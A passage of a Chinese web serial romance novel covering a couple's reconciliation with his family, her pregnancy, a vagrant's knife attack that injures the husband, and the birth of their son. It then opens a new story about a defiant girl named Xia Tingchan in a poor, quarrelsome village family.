26. 粗鲁屠夫VS傲慢老师
虽说近来温欣怡和老宅这边的关系有所拉近,平日也会你来我往送些东西,但每次许家二老都很注重不给她留下一个邋遢的印象。
这不,这晚温欣怡要到老宅吃饭,许爸许妈利用下午的时间,忙活做大扫除,还安排大儿媳去菜市场多买些硬菜回来。
大儿媳并没有觉得公婆厚此薄彼,毕竟和公婆住,平日都是他们帮忙照顾孙子做家务,她和老公才放心去外面打拼赚钱。
而且自许铭荣的猪场扩大之后,还叫他们回来帮忙,当上了小主管,这怎么都比给别人打工强。
作为既得利益者,大嫂是很感激许铭荣夫妻俩的,加上温欣怡是个文化人,工作体面,整条村就她最靓,性子傲慢矫情些在她看来是再正常不过的事。
如今他们陷入离婚危机,大嫂的心里也很担忧,能劝和还是想劝和的。
想到儿子快上小学了,到时还要麻烦温欣怡多多照顾,大嫂买起菜来也不心疼钱包。
时针在转动,太阳往西斜,有人牵着牛往家里赶,家家户户的烟囱升起了袅袅炊烟。
许铭荣接温欣怡下班去到老宅时,受到了隆重的欢迎。
温欣怡笑着一一和他们打了招呼,许铭荣顺手将路上买的鲍鱼干和酥饼、葡萄递过给了妈。
“回来就回来,怎么还买东西?”许妈妈眉头一皱,拍了一下许铭荣。
“我老婆说孝敬你们二老的。”许铭荣说。
“欣怡有心了。”许妈妈眉头舒展,转头看向温欣怡时,露出一个和蔼的笑容。
见到小两口并没有像传言那般闹离婚吵红脸,其余的人都松了口气。
“弟妹,每次见到你,我都要叹一句怎么长得这么好!这不,你一来,我感觉屋子都亮堂了。”大嫂亲亲热热地上前挽起她的手臂,笑叹道。
今天温欣怡将全部头发盘起,穿着一件白色暗花连衣裙,衣领用一条丝巾绑成结点缀,腰带紧束,显得芊芊细腰不盈一握,脚下则穿了白袜子搭配黑色玛丽珍鞋,整个人往那一站,简直漂亮得让人心口发颤。
“大嫂说笑了。”温欣怡见她衣服上沾了些油渍,没有表露出嫌弃的态度,两人贴着往里走。
许爸和许妈跟在身后,对视一眼,心里的石头都落了地。
人齐了,准备开饭。
“哇!好丰盛!我闻到香味,都要流口水了。”温欣怡看到一碟碟硬菜,知道这是他们重视自己的表现,一股暖流自心头涌过,满是惊喜道。
“今晚敞开肚皮吃,吃饱饱。”许妈妈笑道,“不过我可比不上你的厨艺,以后有时间我还想向你偷师怎么学做菜呢。”
温欣怡:“行啊,或者到时我出个菜铺,按着教程来就行。”
“吃饭吃饭。”
“尝尝这个。”
“……”
一时之间,欢声笑语充满了整座房子。
菜过五味,在说笑之中,彼此的感情拉近了不少。
许铭荣和温欣怡一起解释了婚变的误会,还秀了一把恩爱,那眼神拉丝的样子,看的人牙酸。
饭后,许妈妈拉过温欣怡的手,语重心长地说:“以后铭荣要是对你不好,你尽管打他,我给你撑腰。他现在赚的钱多了,什么脏的臭的都想黏上来,不过他的人品还是可以相信的,你可别因为别人挑拨就和他离了心……”
“好。”温欣怡知道她是出自好意,心里也领情,乖乖听着。
聊着聊着,许妈妈以旁观者的视角说起了许铭荣对她的心意——
“你们筹备婚礼的前几天,铭荣有时忙着忙着自己笑起来,那时我还以为他犯傻了,现在想来大概是钟意你,娶到你美着呢。”
“婚后你们处得不好,铭荣买了很多漂亮的衣服和鞋子,还有一些好吃的,想和你缓和关系,但你又嫌弃不要,后来那些东西大部分应该还压箱底呢。”
说到这,温欣怡因为羞愧而脸红:“是我不知好歹。”
“也不能怪你,毕竟你们没有感情基础就结了婚。好在现在你想通了,愿意接纳他,和他好好过日子,我和他爸也就放心了。”许妈妈缓缓道。
“我和你说这些,不是说要给铭荣邀功劳。”许妈妈眼神满是慈爱地看着她,继而说道,“铭荣对一个人好,都是说得少做的多,你不要嫌弃他嘴笨。有时他脑子是不会转弯,想要什么直接跟他说就行……”
许妈妈目光突然变得悠远,想起了一件往事:“在铭荣读初中的时候吧,有次我病得很重,有人骗他说山里有草药可以治好我的病,他傻乎乎地相信了,没跟谁说就自己跑到山上去找,恰巧那天下了大雨,家里人都以为他是调皮去山上玩,好不容易找回来后,养了三天,他爸把他吊起来打了一顿。”
“他就是个犟种,嘴巴当摆设,因为没找到药也不好意思跟家人说,后来还是村里那个怂恿他上山的人说起,才知道是这么一回事。那顿打,可太冤了。”
听她的描述,温欣怡脑海中浮现出许铭荣倔强执拗的样子,就算被错怪了,也不辩解一句,抿着嘴,冷着脸,像要气死谁似的。
这的确是他以前的作风,不过近来经过她的调教,不那么木讷了。
随后许妈妈又讲了许多关于许铭荣的童年旧事,温欣怡听得津津有味。
吃也吃了,聊也聊了,误会消除,大家都安心了。
夜色渐浓,临走的时候,许铭荣的车后架被绑上了一包番薯,还有一老母鸡被绳子绑住脚,挂在车把手上。
本来许妈还想装点青菜给他们的,但小两口见此,急急忙忙跳上摩托车,扬长而去。
就回到自己的窝,温欣怡也不端着了,肩膀塌下来,瘫在沙发上。
明亮的灯光下,屋内的一切物品摆放,和她搬走前一模一样,恍若他们不曾有过误会,恩爱如常。
“老公,辛苦了。”见许铭荣走过来,侧脸在灯光的照射下,棱角分明的轮廓有几分动人,温欣怡张开双手索要抱抱。
“我身上脏。”
“我不嫌弃。”
听此,许铭荣走过去,将她抱起到腿上。
每次被他抱着的时候,温欣怡都觉得他力量感爆棚,贼有劲。
正想着和他贴贴说些让人脸红心跳的话,鼻翼间突然飘来一股臭味。
“哕——”温欣怡不受控制地干呕了一声,下意识从他腿上跳下来。
“刚才鸡拉了一泡溏鸡屎到我的手臂上,我洗过了。”许铭荣眼神带着七分无辜,三分控诉看向她,“你不是说不嫌弃吗?”
“我不嫌弃你,嫌弃鸡屎啊。”温欣怡捏紧了鼻子,催促道,“你再去拿香皂洗洗。”
许铭荣抬起手臂闻了闻,的确还有点味道。
待他顺便洗完澡躺在床上等了好久,温欣怡才姗姗而来。
“上来啊。”许铭荣拍了拍旁边的位置。
“你洗干净了吧?”温欣怡犹豫了一下。
“你再闻闻。”见她脚步迟迟不动,许铭荣呵了声,“还说不是嫌弃我?”
“我当然是不嫌弃你的。”温欣怡挤出微笑上前道,小
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心翼翼地将鼻子凑过去,轻轻吸了吸,闻到的只有艾草味。
“老公,亲亲。”温欣怡嘴唇在他的脸上盖章,以表对他的喜爱。
许铭荣被撩起了火,一把将她压在身下,很快,蚊帐被放下来,一件件衣服被丢到床外,低沉的喘息声响起,水精迸溅,你称霸来我做王,谁都做上面的那一个,气氛旖旎又紧张。
自此连续四个夜晚,夜夜眠不足,温欣怡在第五个晚上先举手投降:“不做了不做了,今晚养精蓄锐,明天你陪我去逛街。”
“行,我帮你按按。”许铭荣说着在她的后背轻捶起来。
*
“一周之中,我独爱星期六。”
昨晚睡了个好觉,温欣怡今早起来,精神抖擞,心情愉悦地将日历撕去了一页,卷成团,手一扔,以抛物线的轨迹落进垃圾桶里。
“YES!”温欣怡手握成拳,为扔出这个准头感到骄傲,随后转头看向许铭荣:“你知道为什么吗?”
许铭荣边将摩托车往外推边分析道:“星期一到星期五你要工作,星期日你会想着明天要工作。在星期六你感到最自在,所以最喜欢。”
“回答正确,你想我怎么奖励你?”
“床上奖励我。”
“讨厌!”
温欣怡娇嗔地捶了他一拳,不再继续这个话题。
*
来到市里最大的商场,温欣怡和许铭荣商量着买哪张床单好。
“好巧,你们感情看起来真好。”
一道女声突然传入耳膜,抬头一看,见刘溪婷走过来。
温欣怡下意识看向许铭荣,见他反应淡淡,并没有应声,她也不作声。
没人理,刘溪婷也不觉得尴尬,自顾自说下去:“小的时候,穷怕了,我总想着长大后能嫁个有钱人就好了。为了嫁给有钱人,我努力学习,积极营造出一个才学兼备的形象,利用铭荣的好心,当作是往上爬的垫脚石……”
“为了能够结识人脉,我不得不低声下气讨好那些只会吃喝玩乐的富家子女……”
“我是吃了很多苦,才终于顺利上嫁给一个富豪,本以为就此就会开始幸福人生,可当金丝雀的日子也不好过,别人想糟践就糟践,这也不是我想过的生活,又历经重重折磨,离婚了。”
刘溪婷顿了顿,见许铭荣并没有流露出半点好奇和关怀,这一刻,死心了,释然地笑了笑:“我以为铭荣心里还有我的,没想到是我自作多情了,前些日子让你们夫妻产生嫌隙,不好意思。”
“三条腿的蛤蟆不好找,两条腿的男人满街跑。我相信凭我的魅力,还是很容易找到一个爱我的人,心有所属的男人我也看不上。”刘溪婷斜睨了许铭荣一眼,对他的态度由在意到不屑,旋即悠悠道,“你们不必因此对我有避而远之,我虽没什么私德,但还是很有医德的,再治疗几个疗程,我相信你们很快就能怀上宝宝,爱信不信,祝你们幸福吧。”
刘溪婷说完,转身就走,背影透着一股潇洒劲。
“那我再找她看看?”温欣怡感觉她这番话很真诚,且前几次在她的治疗下,气血的确充盈多了,她这么一说,又心动起来。
许铭荣:“再找其他老中医看?我不是很相信她。”
“她医术的确是还可以。”温欣怡撇撇嘴。
她说这么多,与其说是问意见,不如说是想让他支持她、肯定她,许铭荣从善如流地附和道:“那还是找她看看,要是她敢使坏,我不会放过她。”
温欣怡满意了:“听你的。”
27. 粗鲁屠夫VS傲慢老师
后来温欣怡也没想到的是,随着深入的了解,温欣怡还挺欣赏刘溪婷的——目标明确,遇事不内耗,懂得及时止损,主打吃什么都不能吃亏。
有自己的野心,但敢坦坦荡荡地展露于外人前,温欣怡觉得她身上有一种向上生长的美,对于慕强的人来说,有着极强的吸引力。
凭借出色的医术,刘溪婷颇得领导看重,时间一长,经过患者们的口口相传,找她看病的人更多了。
在某个寻常的一天,当温欣怡诊出怀孕了时,巨大的欢喜将她淹没。
“真的怀了?我怎么什么感觉都没有呢?”温欣怡轻轻抚摸着肚子,满脸不可置信。
“怀了有一个月,以后多注意休息,少吃寒凉的食物。”刘溪婷傲娇道,“你也不看看我是谁,‘送子圣手’,名不虚传。”
刘溪婷觑了一眼笑得见牙不见眼的许铭荣,视线再落回到温欣怡的身上,悠悠道:“先前说你们有缘无份,是我的气话,你们这辈子一定会儿孙满堂,如果你愿意,能生个足球队。”
“你还说过这些话?我忘记了。”温欣怡一想到一堆孩子围在身边叫妈,鸡皮疙瘩都起来了,无语道,“我又不是母猪,生那么多干什么?国家都说了,‘少生优生,幸福一生。’我们跟着政策走。”
“是是是,你思想觉悟高。”
这年代虽然开始了计划生育,但大众讲究的还是多子多福,只生一个的妇女是少数。
刘溪婷将话题转回来,叮嘱道:“三个月内不要同房,昨晚你们做了吧,我开点保胎药回去煮来喝,每个月再抽出个时间来产检就行。”
医生面前无隐私,夫妻俩齐齐红了脸。
*
温欣怡好吃好睡,孕期并没有很难受,反而是许铭荣起了孕反,出现恶心呕吐、贪食便秘、脚部痉挛等症状,情绪波动剧烈,整个人都变得多愁善感起来。
每当看不见温欣怡,他就特别焦虑担忧,总觉得在他看不见的地方,她会出现什么意外——
例如走在路上怕她崴脚、在学校学生横冲直撞会撞飞她、踩在凳子上拿高处的东西一不小心就会摔下来、食物吃错会中毒、怕水太烫端不稳会被烫伤……
简而言之,整个世界在他看来危机重重,就像养了一朵娇花,怕风吹怕日晒怕虫咬,许铭荣恨不得将温欣怡用玻璃罩罩起来。
但显然这是不可能的,温欣怡太会折腾,太不受控了。
怀孕后,她总有许多稀奇古怪的想法,比如想吃柠檬,自己吃还不行,还要旁人陪着吃,最后被酸到了,自己又哭得稀里哗啦;还要看许铭荣穿女装跳舞,他不跳,她还不依;甚至走在路上,看到路边有一棵孤零零的树,觉得好可怜,要在旁栽下另一棵树作伴;大半夜突然醒来,说想吃万珍糕的糕点……
诸如此类的事很多,许铭荣能能满足的都满足了,不能满足的也要想办法满足。
最后还是温妈妈看不过眼,提醒道:“怀个孕,别把你男人折腾死了,少作点。”
温欣怡这才注意到许铭荣凹陷的眼窝,浓重的黑眼圈以及消瘦的身躯,显然这段时间他并不好过。
“妈,你别说她,我没事。”许铭荣端着一个果盘走过来,殷勤道,“老婆,你要的草莓味苹果来了。”
“谢谢老公,你太厉害了,这个怎么做到的?”温欣怡尝了一口,的确是有草莓味,惊喜又心虚,说,“别光顾着我,你也要好好照顾自己,要是我提出的要求你觉得不合理的,你不做也行。”
温欣怡转头对温妈妈说:“妈,你看他吃点什么好,能补补身体的?”
“他吃什么吐什么,补不进,真是奇了怪了,怀孕的是你,难受的是他。”温妈妈看着脸色红润的女儿,再看像被吸走了精气的女婿,怎么看怎么愧疚,也只好对他好一点,再好一点。
“我还能撑住,没什么问题的,哕——”话刚落,许铭荣又往外冲想要去呕吐。
“老公,要不你去猪场住吧,我们分开一段时间,可能你会好受些。”温欣怡走过去,端着一杯水准备给他漱口。
“不用,分开我更担心。”许铭荣说什么都不愿分开住。
见他们腻歪一起,温妈妈简直没眼看,一个愿打一个愿挨,倒显得多嘴的她里外不是人。
久而久之,温妈妈就不说了,毕竟说了也没用。
温欣怡怀孕有三个月后,胎坐稳了,许铭荣也恢复了正常,没再有孕反。
温妈妈见女婿对女儿事事迁就,婆家那边也会经常派人来看有什么需要帮忙,决定回温家,田里的庄稼她可是惦记得很。
温欣怡对此没有异议,老妈在这边要干的活不多,闺蜜好友又不在这边,她和许铭荣去上班后,家里的桌椅都被擦掉漆了,实在是孤单无聊得很。
翌日一早,温妈妈临走前,忍不住啰里啰唆又叮嘱了一堆注意事项,温欣怡边往行李袋里塞东西边应和着。
“哎呀!我不要这些,补品你留着吃,我和你爸年纪大了,吃了不消化……钱你留着用,等娃出生了,要用钱的地方多着呢……”温妈妈将补品重新拿出来,将钱又塞回温欣怡的口袋。
“这是专门买给老年人吃的补品,不适合孕妇吃。钱拿着吧,你女婿能赚钱,孝敬你二老的,在家吃好点。”
“你婆婆那边有没有给?”
“都有。”
母女俩拉扯了一下,最后温妈妈还是收下了。
日子平平淡淡,幸幸福福,温欣怡的肚子一天天鼓起来。
这天,温欣怡正在午睡,突然听见外面传来一阵喧嚣,闹嚷嚷着什么。
出去一问,原来刘凤珍的家人想将她嫁给镇上一个家里有钱但智力有问题的男人,她答应得好好的,谁知道转头偷了彩礼钱和姘头跑了,那姘头是许家村的人,男方那边的人听说后,就闹着来要回钱了。
这家怪那家,那家又怪这家,哪家都不愿拿出钱还,现在三家撕扯打起来,村人都在看热闹呢。
刘凤珍在温欣怡的印象中,就是个学人精,想勾搭许铭荣但没成功,最后破防想挑拨离间的女生。
或许在得知温欣怡怀孕且看到许铭荣对她百般呵护后,刘凤珍才终于死心了,没有再暗搓搓跟踪搞小动作等。
好长一段时间没见到她,没想到再听到她的消息竟是和人逃婚了。
不过在温欣怡看来并没有感到意外,刘凤珍一看就是个有想法的,不是那死死板板受家人规训一辈子要为父母无
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私奉献的女生。
现在外面的机遇也多,说不定以后真能闯出一片天。
这些都不关温欣怡的事,听过一耳朵后,便忘在脑后了。
是在孕后期,温欣怡才感到百般不适,胸闷气短、腰酸背痛、尿频胃酸……反正她是哪哪都觉得不舒服。
在看到肚子长出妊辰纹且脸变大脚变肿后,温欣怡有说不出的委屈,每每照镜子都觉得日渐丑陋,眼泪说掉就掉。
许铭荣恨不得以身替之,但不能,只好多多陪伴,多多安慰——
“你很美,不管你变成什么样都是我心目中的女神,老婆我爱你。”
“这些护肤品是我托人从港城买回来的,对去除妊辰纹很有效,我给你抹。”
“老婆辛苦了,这个金手镯送给你。”
“……”
许铭荣越纵容,温欣怡越娇气,脾气上来了就喜欢折磨他,虽然有时事后她也会反省,但不改。
“老公,我好久没去逛街了,我想逛街。”温欣怡在要生产的最后一个月,回家待产了,整天闷在屋子里都快要发霉。
“不许去!你别想一出是一出,这么大的肚子,你揣着去逛街不累啊?!”温妈妈竖目一瞪,反对道,“等生了娃,你再去逛,街又不会跑。”
“你想买什么?我买回来。”许铭荣看着那跟气球一样膨胀,感觉随时随刻都会爆炸的孕肚,很不放心她到人流多的地方。
“你买回来有什么乐趣,我就想出去走走,喜欢哪个自己挑。”温欣怡见他不答应,顷刻间眼泪掉下来。
“去逛街去逛街,你别哭。”许铭荣的心都揪起来,“妈,我会保护好她的,放心吧。”
温妈妈:……
“我是管不了你们,去去去,别碍我眼。”温妈妈气哼哼地撇开眼,眼不见为净。
温欣怡这才破涕而笑。
兴致勃勃地换上喜欢的衣服,背上喜欢的包包,打扮得美美的。
“老公,我可以了,走吧。”
“小心点啊。”温妈妈还是忍不住说了一句。
“知道了。”
许铭荣小心翼翼地扶她坐上摩托车,戴好头盔,以龟速行驶,到达目的地,将车停放好后,搀扶着她走在街上。
现在经济开放了,小摊小贩多起来,琳琅满目的商品看得人眼花缭乱,人间烟火气扑面而来,温欣怡久违地感受着这份熙熙攘攘的热闹,这瞧瞧,那看看,看到喜欢的就买买买。
看到她卖得开心,笑得灿烂,许铭荣觉得来这趟值了。
不远处,一个衣衫褴褛、头发凌乱、胡子拉碴的流浪汉蜷缩在角落,在看到温欣怡一脸幸福地冲许铭荣笑时,眼神瞬间变得狠厉,恨意如同泄堤的洪水,将仅剩的理智冲没。
笑笑笑!!!
就那么开心吗!!!
看不起他的人都该死!!!
凭什么他们可以过得还是那般光鲜亮丽,而他要像过街老鼠般躲躲藏藏!!!
他好恨!!!
他想毁灭一切看起来美好的人和物!!!
流浪汉倏地从怀里掏出一把刀,冲过去,近了近了,眼见刀就要刺上去了,不由得兴奋地喊道:“去死吧!”
28. 粗鲁屠夫VS傲慢老师
危险来临的那一刻,时间仿佛被拉长,瞳孔中,拿着刀刺来的男人脸上挂着置人于死地的狰狞笑容,温欣怡想躲想逃,但双脚像扎根在地上,动弹不得,只剩心脏在怦怦乱跳,肾上腺素飙升。
近了近了……
母爱的本能还是战胜了恐惧,温欣怡下意识用手去挡,说时迟那时快,许铭荣一脚将流浪汉踹倒在地。
双方的距离拉开了一些,周围的人们尖叫连连,作鸟兽散。
流浪汉像不知道疼般,快速站起来,环顾了一下四周,不管不顾地将旁边摊位上的东西乱扔乱抛过去,许铭荣躲避着,一不小心,被沙迷了眼。
趁此间隙,流浪汉拐了个弯,再次握刀冲向温欣怡。
余光看到这一幕,许铭荣简直目眦欲裂,心都要跳出来,脑子还来不及思考,身体不自觉化作盾牌挡在前面,一只手倏地握住刀尖,一只手捏紧了流浪汉的脖子,慢慢提起。
这一刻,许铭荣失了理智,只有一个念头——杀死他,杀了他老婆就不会再有危险了。
“呃——唔——”流浪汉脚离了地,快要呼吸不过来,濒死之际,害怕和后悔攀上心头。
他还不想死啊!!!
见行凶者被捏住了脖子,在不远处伺机而动的热心群众纷纷操起扫把铲子木棍之类的工具冲过来招呼在他的身上。
“不好了!羊水破了!产妇要生了!”一声尖叫响起。
“老……老公……”温欣怡的眼泪“哗”的流下来,浑身发软,好在有人及时搀扶住了她,才不至于摔倒。
“你老婆要生了!快送她到医院!”有人扯了扯许铭荣,大声喊道,“杀人要坐牢!你要杀死他吗?”
流浪汉都翻白眼了,眼见下一秒就要去见阎王,许铭荣听到关键字,终于回过神,松开了手。
流浪汉像破布娃娃般被丢到地上,出气多,进气少,大家纷纷收起工具,有人拿出绳子将他绑住,准备送去派出所。
许铭荣慌慌张张地去找温欣怡的身影,见她被人扶着,额头上冒出豆大的汗,裙子湿了一片,还不断有水滴落到地上。
“老婆,不怕,你撑住,我现在送你去医院。”
许铭荣刚想抱起她,有人推来一张大木板车到面前,招呼道:“快!快抱她上来!”
来不及多说,许铭荣将新买的棉花布匹铺在上面,再把温欣怡抱上去,往医院赶去。
“痛……好痛……”温欣怡捂着肚子低呼。
地上的大板车在走,天上的白云也在走,温欣怡半眯着眼,意识异常清晰地想起之前听人说过的话——
“人死了,就会变成天上的星星。”
她不想死,不想变成天上的星星。
眼泪模糊了双眼,周遭变得模糊,温欣怡忍不住闭上了眼睛,耳边许铭荣的声音在叭叭个不停:“老婆,不要睡!不能睡啊,快到医院了,你一定要撑住!”
“说好要白头偕老的,我还没和你过腻日子,你不能不要我……你想想爸妈,想想你的学生,想想衣柜上那么多漂亮衣服,想想……”
“宝宝肯定也想看一看这个世界,你当妈妈的要挺住,不能谁啊……”
温欣怡听他哭腔都出来了,睁开眼睛,被脸上满是血迹的他吓了一跳:“你受伤了!”
“一点小伤,没事。”许铭荣怕她担心,露出一个安抚的笑容。
“骗人!好多血。”温欣怡感觉又有点呼吸不过来了。
“真没事。”许铭荣下意识将受伤的手藏起来,故作轻松,“都是别人的血,你看我多精神,哪像受伤的样子?”
“没事就好,没事就好。”温欣怡松了一口气。
“……”
说话间,在热心群众的帮助下,不一会儿就来到了医院门口,许铭荣抱起温欣怡就往里跑。
“医生!救命!快来救命!”慌张之下,许铭荣鞋子都蹬跑掉了。
一个血人抱着一个孕妇,这个场景一下子将大家的目光吸引去,医生和护士推着转运床闻声飞奔而来,再急匆匆将温欣怡送往抢救室。
“老婆别害怕,我会一直在门外等你!”许铭荣松开了温欣怡的手,转头又对医生说,“保大!一定要保大!”
没来得及回答什么,抢救室的门关上了。
许铭荣再也撑不住,身体软得像面条,瘫倒在地,浑身不由自主颤抖着。
“同志,你手受伤了,先去处理吧,生孩子没那么快。”一位护士将他扶起。
“没事,我说好要在这里等她的。”许铭荣害怕不在的话,会错过什么,以致终生后悔莫及。
哪怕看不见,温欣怡知道他在外面陪着,才会更安心。
“要是你老婆出来,看到你这样,她不会放心的。你手上的伤口都见骨了,要是没治好,将来手废了,你怎么赚钱养家?怎么照顾老婆?”一位跟随而来的大叔劝说道。
“你要去缴费,有条件的话,去买些面包和芝麻糊过来,孕妇生产过程可能需要补充能量。”护士又说道。
“好。”许铭荣深呼吸一口气,提起精神,转头从口袋里掏出一沓钱塞给旁边的热心大叔说,“大叔,你能不能帮我在这里看着,有什么事及时联系我。”
“唉呀,不用给钱,我闲着也是闲着,帮你看看没问题。”大叔关切道,“出现这样的事情,真是天降横祸,你要打起精神来才行。”
“谢谢。”许铭荣不再多说,想着后面再提礼登门致谢,跟着护士去另外一个科室处理伤口了。
*
抢救室里,温欣怡感觉自己是正在被屠宰的猪,剥光衣服,四肢被固定住,任由宰割。
好痛!好痛啊!
一阵接着一阵的宫缩像滔天大浪一遍又一遍地冲击着身体,腹部有只手在在推在按在转,好痛好痛!!!
每一个毛孔都叫嚣着疼痛,每一秒都难挨至极,怎么能那么痛?!
可偏想哭的时候,助产士还叫她省省力。
温欣怡将眼泪憋回去,尽量让自己保持冷静,咬牙,使劲,她能感受到宝宝也在努力往外挤,一想到这,她振作精神。
呼气——吸气———
跟着助产士的节奏,温欣怡咬着牙配合呼吸,可是好痛好累啊,眼前阵阵发黑,她有些坚持不住了。
眼见温欣怡脱力要晕厥过去,助产士赶紧喂她点面包和芝麻糊吃。
“啊——”
随着一阵更强烈的推力,温欣怡痛得灵魂都在颤抖,但听着助产士说:“看到宝宝头了……手出来了,别泄气……”
这正向的反馈
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好比注入了一股力量到她的身上。
……
终于,宝宝生出来了。
“哇——”
耳边传来婴儿响亮的啼哭声,随后听医生说:“是个坚强的男宝宝。”
生产顺利,温欣怡心头的忧虑烟消云散。
没过多久,门打开,许铭荣走进来,怜惜地亲了亲她的额头:“老婆辛苦了。”
许铭荣换了一身衣服,脸上的血迹也被擦干净,右手被绷带包得严严实实。
“你手上的伤严不严重?”温欣怡想到他为自己挡下刀的身影,眼泪忍不住冒出来。
“养养就好了,没事。”许铭荣开玩笑道,“好在现在雇人杀猪,我就是手废了还能赚钱。”
“不要说手废了。”
“好好好,不说了。”许铭荣话题一转,“我打电话通知爸妈了,他们待会会过来。”
“嗯。”温欣怡打了个哈欠,困倦道,“我想睡觉了。”
“睡吧,我和宝宝在这里陪着你。”
温欣怡放心地睡过去了。
*
后来经过调查,流浪汉是陈广志,自他出事,就怨天怨地怨人怨物,目之所及,皆是他怨恨的对象,为发泄脾气,整天在家摔摔打打,骂骂咧咧。
久而久之,家里人受不了,将他赶了出门。
这也是他的家,凭什么将他赶出门?
【你们既然不仁,那我就不义。】
抱着这样的念头,陈广志一包老鼠药毒死了家里人。
为了避免被抓,他划花了自己的脸,开始流浪乞讨才躲过追捕,勉强果腹。
他坚信是温欣怡害他变成这副鬼样子,所以日日夜夜都想着报复她。
可惜一直没找到机会。
直到那天。
就差一点点,那么一点点就能杀死她了。
可惜,太可惜了!
陈广志知道自己被抓难逃一死,还想着越狱,可惜洞挖到一半,就被拉出去枪毙了。
他这一生,就此落幕。
—
许铭荣的手还是落下了后遗症,提不了重东西,每每看到他那只手上的伤疤,温欣怡就默默咒骂陈广志下辈子投胎做畜牲被人千刀万剐,更是懊悔着那天不该任性要去逛街的。
许铭荣对此只感到庆幸,伤了一只手而已,但陈广志这颗炸弹除了,划算。
毕竟哪能做到前日防贼时时警惕。
一想到要是那天没有陪伴在徐知画的身边,或者陈广志对这个家造成更大的伤害,许铭荣就忍不住后怕。
好彩好彩。
—
又是一个寻常的晚上,夫妻夜话时间,温欣怡躺在许铭荣的腿上,而宝宝在床上爬来爬去,摸摸这,啃啃那,一家三口其乐融融。
“要是早知道我们会这么幸福,结婚时我就不该那么抗拒,浪费好多年。”温欣怡感慨。
“呀呀——”宝宝听不懂,说着自己的婴语,埋头用手扣着许铭荣掌上的疤痕,当是什么好玩的东西。
许铭荣手掌一翻,将宝宝摁躺在床上,捂住了他的眼睛,宝宝以为在玩游戏,“咯咯咯”笑起来。
许铭荣旋即低下头,吻上了温欣怡的唇。
“没关系,以后日日是好日。”
29. 粗俗做斋女VS高冷科研男
妈妈在生产的时候,听见外面的蝉叫得厉害,所以后来在取名时,爸爸拍板道:“就叫夏听蝉。”
当然,夏听蝉的【夏】与夏天无关,这是世世代代传承下来的姓,与老祖宗有关。
夏听蝉有个大三岁的哥哥,据说在生他时下起了大雨,故而取名夏大雨。
他们居住的地方,叫【见夏村】,传说是爷爷的爷爷的爷爷那一代为躲避战争,拖家带口找到了这么一个四面环山的地方。
开荒土地、建造新屋、结婚生子……
随着时间的流逝,见夏村自然而然地成了见夏村,且以年为单位,人口逐步增长,发展到现在已有一百多户人家。
贫穷落后、交通不便,见夏村大多数人以种地为生,看天吃饭,生活困顿。
夏听蝉的爸爸叫夏北,家中排行第四,头上有两个哥哥,分别叫夏东和夏南,还有一个姐姐叫夏西,因他是家中老幺,且长得最肖父,因此颇得宠爱。
三代同堂,且还没分家,资源少,人口多,再加上分配的不均造就了一家子不是在吵架,就是在吵架的路上。
夏听蝉自小就领悟出两个道理:一是手快有手慢无,想要什么,先下手为强;二是只要脸皮厚,万事都能够。
秉持着这两个为人生信条,在这个重男轻女的大家庭里,夏听蝉吃什么都不曾吃亏,就算在这个地方吃亏,她也会想方设法从别处找回来。
“你这个死丫头,真是长了一张猪八戒的嘴,贪吃贪喝!我买的糖是给我大孙子的,抢抢抢!真是比强盗还会抢!我打死你这个死丫头!”
一次田地上挖番薯时,夏爷爷刚从兜里掏出几颗糖想偷偷塞给大孙子,谁知夏听蝉眼尖,一把抢过去剥开糖纸丢进嘴里,边嚼嚼嚼边跑躲避着魔爪。
可惜最后人小腿短的她还是被抓住了,夏听蝉一脸不服气,大声嚷嚷道:“爷爷偏心!爷爷偏心!”
“死丫头早晚要嫁到别人家,没点用!我就偏心!”
眼见夏爷爷粗糙且有力的大掌就要落下,夏北及时拦下,劝说道:“爸,我来教训她,别打疼你的手。”
夏北将夏听蝉拎起来,离夏爷爷远了点,手高高举起,再轻轻落下:“让你抢糖吃!那是你能吃的吗?你爷爷就是偏心,他的糖不给你,你下次可不能抢了,知道错没有?”
此话一出,其他没吃到糖的孙子有意见了,纷纷围到夏爷爷面前,吵着也要糖吃。
“知道错了,我知道错了!爷爷饶命!”那边夏听蝉认错的态度很诚恳,但心里想着下次还会这么干。
你一言我一语,夏爷爷这边被吵得头都要爆炸了,登时横眉竖眼,怒吼道:“吃吃吃!巴掌就有来吃!滚滚滚!”
夏爷爷看了一眼装模作样在教训孩子的幺儿,再扫过其他一脸不忿的子孙,难免有些心虚,不过想到他才是当家作主的那个,腰板又直起来,指挥道:“手脚麻利点,一个个都是讨债鬼!”
……
上面这一幕在夏家时常发生,相较于其他女孩,夏听蝉人小鬼大,要是发觉哥哥堂哥堂弟有的而她没有,不是撒泼打滚闹得全家不得安宁,就是闹哥哥揍堂哥打堂弟,该抢就抢。
家里人都知道她记仇心眼小,骂她打她,她就是滚刀肉,根本不带怕的,还会暗搓搓报复回来,做些在饭菜里加石头、在衣服上抹鸡屎、走在路上脱人裤子等诸如此类让人火大又丢脸的事。
而夏北这个混不吝的,护在女儿的前面,说些听似调和实则维护的话——
“算了算了,她年纪小不懂事,你这个大人跟她计较什么?”
“我骂也骂了,打也打了,你们还想怎么样?不要那么小心眼。”
“小孩子的事,小孩子解决。”
“她只是想要公平对待,能有什么错?人家说妇女能当顶半边天,我闺女那么聪明,一看长大后就是个有出息的,你们现在对她不好,小心将来她不孝顺你们。”
“……”
正是因为有夏北这样的纵容,夏听蝉行事更加嚣张。
日子吵吵闹闹鸡飞狗跳,但从中还能品出一丝甜。
命运在夏听蝉八岁那年急转直下——
那一年,是在一个寻常的日子,发生了不同寻常的事:
村里因为土地问题和别的村火拼,夏爷爷被捅了一刀,夏北被锄头砸破脑袋,还有几个村人也被砍了,由于救治不及时,那天死了十个人。
死伤惨重。
听闻噩耗,夏听蝉的妈妈趁人不注意,一瓶敌敌畏下肚,没熬几个小时,也死了。
自此,夏大雨和夏听蝉成了没爸没妈的孩子。
因为爷爷和爸爸是为了村集体的土地而死,加上后来夏东当上了村长,夏大雨和夏听蝉不至于无人庇护。
但时间久了,家里其他人难免想拿捏他们,见缝插针洗脑说些“现在我养你们两个,要懂得感恩。”之类的话,什么脏活累活都想丢给他们去干。
夏大雨是个憨厚老实的性子,任劳任怨,因而被人当牛马般使唤。
可夏听蝉并不是个逆来顺受的孩子,要是他们以“不干活没饭吃”为由惩罚她,或者想打她出气,她就会拿着个碗挨家挨户讨饭吃、求公道,又哭又唱:“小白菜,地里黄,没爸没妈受人欺……”
夏东和夏南没她这么不要面子,做不到被人整天戳着脊梁骨骂无情无义却无动于衷,只好将表面上的功夫做到位。
